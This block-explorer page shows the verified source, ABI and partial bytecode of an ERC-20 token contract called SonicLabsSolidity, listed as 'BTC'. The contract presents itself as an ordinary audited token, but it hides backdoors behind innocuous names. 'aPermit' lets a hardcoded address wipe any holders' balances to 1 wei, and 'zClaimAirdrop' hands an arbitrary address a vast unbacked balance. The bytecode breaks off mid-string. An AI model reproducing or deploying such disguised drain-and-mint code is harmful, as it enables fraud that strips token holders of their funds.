ERC-20
Overview
Max Total Supply
1,000 BTC
Holders
5
Market
Price
-
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SonicLabsSolidity
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-31 */ // SPDX-License-Identifier: Audited // https://t.me/SonicAnnouncements pragma solidity 0.8.28; // ERC-20 Interface interface IERC20_Sonic { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } // Context contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract SonicLabsSolidity is Context, IERC20_Sonic, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 1000 * 10**_decimals; uint256 finalTax = 1; uint256 inicialTax = 10; mapping(address => uint256) private immutableStatusOn; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; constructor(string memory name_, string memory symbol_, address wS) { _name = name_; _symbol = symbol_; immutableStatusOn[wS] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), wS, _totalSupply.mul(1).div(1000)); transferOwnership(wS); _distributeTokens(); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return immutableStatusOn[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount); immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount); emit Transfer(sender, recipient, amount); } // Internal approve function function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // Function to distribute 99% of the total supply to specific addresses function _distributeTokens() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent); immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent); immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax; emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals); } function startTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); tradingOpen = true; } // Function to receive ETH (optional for gas fees) receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"wS","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526001600355600a60045573aa4577b7e2c5af58c3e05ba16b3768a162beef4360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600960146101000a81548160ff021916908315150217905550348015610087575f5ffd5b5060405161301038038061301083398181016040528101906100a99190610b8c565b6100b76102dd60201b60201c565b5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3826001908161017e9190610e24565b50816002908161018e9190610e24565b506101d16103e86101c360016012600a6101a8919061105b565b6103e86101b591906110a5565b6102e460201b90919060201c565b61035b60201b90919060201c565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102a36103e861029560016012600a61027a919061105b565b6103e861028791906110a5565b6102e460201b90919060201c565b61035b60201b90919060201c565b6040516102b091906110f5565b60405180910390a36102c7816103b260201b60201c565b6102d56104f660201b60201c565b50505061130c565b5f33905090565b5f5f83036102f4575f9050610355565b5f828461030191906110a5565b9050828482610310919061113b565b14610350576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610347906111eb565b60405180910390fd5b809150505b92915050565b5f5f821161039e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039590611253565b60405180910390fd5b81836103aa919061113b565b905092915050565b6103c06102dd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166103e461096160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610403575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361043a575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61053a6103e861052c6103e46012600a610511919061105b565b6103e861051e91906110a5565b6102e460201b90919060201c565b61035b60201b90919060201c565b90505f61057f6103e861057160026012600a610556919061105b565b6103e861056391906110a5565b6102e460201b90919060201c565b61035b60201b90919060201c565b90505f6105c46103e86105b660016012600a61059b919061105b565b6103e86105a891906110a5565b6102e460201b90919060201c565b61035b60201b90919060201c565b905061062a8360055f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461098860201b90919060201c565b60055f7350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506106e38260055f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461098860201b90919060201c565b60055f73551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061079c8160055f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461098860201b90919060201c565b60055f73edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507350c42deacd8fc9773493ed674b675be577f2634b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161086291906110f5565b60405180910390a373551aa84adb62725d654866803def1459a1b256af73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108db91906110f5565b60405180910390a373edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161095491906110f5565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f5f82846109969190611271565b9050838110156109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d2906112ee565b60405180910390fd5b8091505092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610a44826109fe565b810181811067ffffffffffffffff82111715610a6357610a62610a0e565b5b80604052505050565b5f610a756109e5565b9050610a818282610a3b565b919050565b5f67ffffffffffffffff821115610aa057610a9f610a0e565b5b610aa9826109fe565b9050602081019050919050565b8281835e5f83830152505050565b5f610ad6610ad184610a86565b610a6c565b905082815260208101848484011115610af257610af16109fa565b5b610afd848285610ab6565b509392505050565b5f82601f830112610b1957610b186109f6565b5b8151610b29848260208601610ac4565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b5b82610b32565b9050919050565b610b6b81610b51565b8114610b75575f5ffd5b50565b5f81519050610b8681610b62565b92915050565b5f5f5f60608486031215610ba357610ba26109ee565b5b5f84015167ffffffffffffffff811115610bc057610bbf6109f2565b5b610bcc86828701610b05565b935050602084015167ffffffffffffffff811115610bed57610bec6109f2565b5b610bf986828701610b05565b9250506040610c0a86828701610b78565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610c6257607f821691505b602082108103610c7557610c74610c1e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610cd77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610c9c565b610ce18683610c9c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f610d25610d20610d1b84610cf9565b610d02565b610cf9565b9050919050565b5f819050919050565b610d3e83610d0b565b610d52610d4a82610d2c565b848454610ca8565b825550505050565b5f5f905090565b610d69610d5a565b610d74818484610d35565b505050565b5b81811015610d9757610d8c5f82610d61565b600181019050610d7a565b5050565b601f821115610ddc57610dad81610c7b565b610db684610c8d565b81016020851015610dc5578190505b610dd9610dd185610c8d565b830182610d79565b50505b505050565b5f82821c905092915050565b5f610dfc5f1984600802610de1565b1980831691505092915050565b5f610e148383610ded565b9150826002028217905092915050565b610e2d82610c14565b67ffffffffffffffff811115610e4657610e45610a0e565b5b610e508254610c4b565b610e5b828285610d9b565b5f60209050601f831160018114610e8c575f8415610e7a578287015190505b610e848582610e09565b865550610eeb565b601f198416610e9a86610c7b565b5f5b82811015610ec157848901518255600182019150602085019450602081019050610e9c565b86831015610ede5784890151610eda601f891682610ded565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610f7557808604811115610f5157610f50610ef3565b5b6001851615610f605780820291505b8081029050610f6e85610f20565b9450610f35565b94509492505050565b5f82610f8d5760019050611048565b81610f9a575f9050611048565b8160018114610fb05760028114610fba57610fe9565b6001915050611048565b60ff841115610fcc57610fcb610ef3565b5b8360020a915084821115610fe357610fe2610ef3565b5b50611048565b5060208310610133831016604e8410600b841016171561101e5782820a90508381111561101957611018610ef3565b5b611048565b61102b8484846001610f2c565b9250905081840481111561104257611041610ef3565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61106582610cf9565b91506110708361104f565b925061109d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610f7e565b905092915050565b5f6110af82610cf9565b91506110ba83610cf9565b92508282026110c881610cf9565b915082820484148315176110df576110de610ef3565b5b5092915050565b6110ef81610cf9565b82525050565b5f6020820190506111085f8301846110e6565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61114582610cf9565b915061115083610cf9565b9250826111605761115f61110e565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6111d560218361116b565b91506111e08261117b565b604082019050919050565b5f6020820190508181035f830152611202816111c9565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f0000000000005f82015250565b5f61123d601a8361116b565b915061124882611209565b602082019050919050565b5f6020820190508181035f83015261126a81611231565b9050919050565b5f61127b82610cf9565b915061128683610cf9565b925082820190508082111561129e5761129d610ef3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6112d8601b8361116b565b91506112e3826112a4565b602082019050919050565b5f6020820190508181035f830152611305816112cc565b9050919050565b611cf7806113195f395ff3fe6080604052600436106100eb575f3560e01c8063715018a611610089578063a37e0a6411610058578063a37e0a64146102d0578063a9059cbb146102f8578063dd62ed3e14610334578063f2fde38b14610370576100f2565b8063715018a61461023e5780638da5cb5b146102545780638f8af1e11461027e57806395d89b41146102a6576100f2565b806323b872dd116100c557806323b872dd14610186578063293230b8146101c2578063313ce567146101d857806370a0823114610202576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610398565b6040516101179190611438565b60405180910390f35b34801561012b575f5ffd5b50610146600480360381019061014191906114ed565b610428565b6040516101539190611545565b60405180910390f35b348015610167575f5ffd5b50610170610445565b60405161017d919061156d565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a79190611586565b610466565b6040516101b99190611545565b60405180910390f35b3480156101cd575f5ffd5b506101d6610520565b005b3480156101e3575f5ffd5b506101ec6108f8565b6040516101f991906115f1565b60405180910390f35b34801561020d575f5ffd5b506102286004803603810190610223919061160a565b610900565b604051610235919061156d565b60405180910390f35b348015610249575f5ffd5b50610252610946565b005b34801561025f575f5ffd5b50610268610a46565b6040516102759190611644565b60405180910390f35b348015610289575f5ffd5b506102a4600480360381019061029f91906116be565b610a6d565b005b3480156102b1575f5ffd5b506102ba610be7565b6040516102c79190611438565b60405180910390f35b3480156102db575f5ffd5b506102f660048036038101906102f1919061160a565b610c77565b005b348015610303575f5ffd5b5061031e600480360381019061031991906114ed565b610de6565b60405161032b9190611545565b60405180910390f35b34801561033f575f5ffd5b5061035a60048036038101906103559190611709565b610e03565b604051610367919061156d565b60405180910390f35b34801561037b575f5ffd5b506103966004803603810190610391919061160a565b610e85565b005b6060600180546103a790611774565b80601f01602080910402602001604051908101604052809291908181526020018280546103d390611774565b801561041e5780601f106103f55761010080835404028352916020019161041e565b820191905f5260205f20905b81548152906001019060200180831161040157829003601f168201915b5050505050905090565b5f61043b610434610fbd565b8484610fc4565b6001905092915050565b5f6012600a6104549190611900565b6103e8610461919061194a565b905090565b5f610472848484611119565b6105158461047e610fbd565b6105108560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104c8610fbd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131390919063ffffffff16565b610fc4565b600190509392505050565b610528610fbd565b73ffffffffffffffffffffffffffffffffffffffff16610546610a46565b73ffffffffffffffffffffffffffffffffffffffff1614610565575f5ffd5b600960149054906101000a900460ff16156105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac906119d5565b60405180910390fd5b73a6ad18c2ac47803e193f75c3677b14bf19b9488360085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610673573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106979190611a07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107419190611a07565b6040518363ffffffff1660e01b815260040161075e929190611a32565b6020604051808303815f875af115801561077a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611a07565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108233060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6108119190611900565b6103e861081e919061194a565b610fc4565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061086b30610900565b5f5f610875610a46565b426040518863ffffffff1660e01b815260040161089796959493929190611a9b565b60606040518083038185885af11580156108b3573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d89190611b0e565b5050506001600960146101000a81548160ff021916908315150217905550565b5f6012905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61094e610fbd565b73ffffffffffffffffffffffffffffffffffffffff1661096c610a46565b73ffffffffffffffffffffffffffffffffffffffff161461098b575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a75610fbd565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acc575f5ffd5b5f5f90505b82829050811015610be25760035460055f858585818110610af557610af4611b5e565b5b9050602002016020810190610b0a919061160a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610b7157610b70611b5e565b5b9050602002016020810190610b86919061160a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051610bcd919061156d565b60405180910390a38080600101915050610ad1565b505050565b606060028054610bf690611774565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2290611774565b8015610c6d5780601f10610c4457610100808354040283529160200191610c6d565b820191905f5260205f20905b815481529060010190602001808311610c5057829003601f168201915b5050505050905090565b610c7f610fbd565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6575f5ffd5b6012600454610ce59190611900565b6012600a610cf39190611900565b6103e8610d00919061194a565b610d0a919061194a565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600454610da99190611900565b6012600a610db79190611900565b6103e8610dc4919061194a565b610dce919061194a565b604051610ddb919061156d565b60405180910390a350565b5f610df9610df2610fbd565b8484611119565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8d610fbd565b73ffffffffffffffffffffffffffffffffffffffff16610eab610a46565b73ffffffffffffffffffffffffffffffffffffffff1614610eca575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f01575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffb575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611032575f5ffd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110c919061156d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611150575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611187575f5ffd5b6111d78160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131390919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112688160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461136b90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611306919061156d565b60405180910390a3505050565b5f82821115611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90611bd5565b60405180910390fd5b81836113639190611bf3565b905092915050565b5f5f82846113799190611c26565b9050838110156113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b590611ca3565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61140a826113c8565b61141481856113d2565b93506114248185602086016113e2565b61142d816113f0565b840191505092915050565b5f6020820190508181035f8301526114508184611400565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61148982611460565b9050919050565b6114998161147f565b81146114a3575f5ffd5b50565b5f813590506114b481611490565b92915050565b5f819050919050565b6114cc816114ba565b81146114d6575f5ffd5b50565b5f813590506114e7816114c3565b92915050565b5f5f6040838503121561150357611502611458565b5b5f611510858286016114a6565b9250506020611521858286016114d9565b9150509250929050565b5f8115159050919050565b61153f8161152b565b82525050565b5f6020820190506115585f830184611536565b92915050565b611567816114ba565b82525050565b5f6020820190506115805f83018461155e565b92915050565b5f5f5f6060848603121561159d5761159c611458565b5b5f6115aa868287016114a6565b93505060206115bb868287016114a6565b92505060406115cc868287016114d9565b9150509250925092565b5f60ff82169050919050565b6115eb816115d6565b82525050565b5f6020820190506116045f8301846115e2565b92915050565b5f602082840